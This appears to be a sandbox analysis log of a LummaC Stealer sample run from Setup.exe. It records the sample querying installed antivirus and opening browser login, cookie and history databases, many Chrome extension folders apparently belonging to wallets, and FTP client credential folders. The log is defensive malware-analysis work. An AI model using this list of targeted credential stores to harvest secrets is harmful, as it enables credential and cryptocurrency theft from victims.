Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\Setup.exe

Code function: 0_2_00406831 GetVersion,GetSystemDirectoryW,GetWindowsDirectoryW,SHGetSpecialFolderLocation,SHGetPathFromIDListW,CoTaskMemFree,lstrcatW,lstrlenW,

0_2_00406831

Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match

File source: sslproxydump.pcap, type: PCAP

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
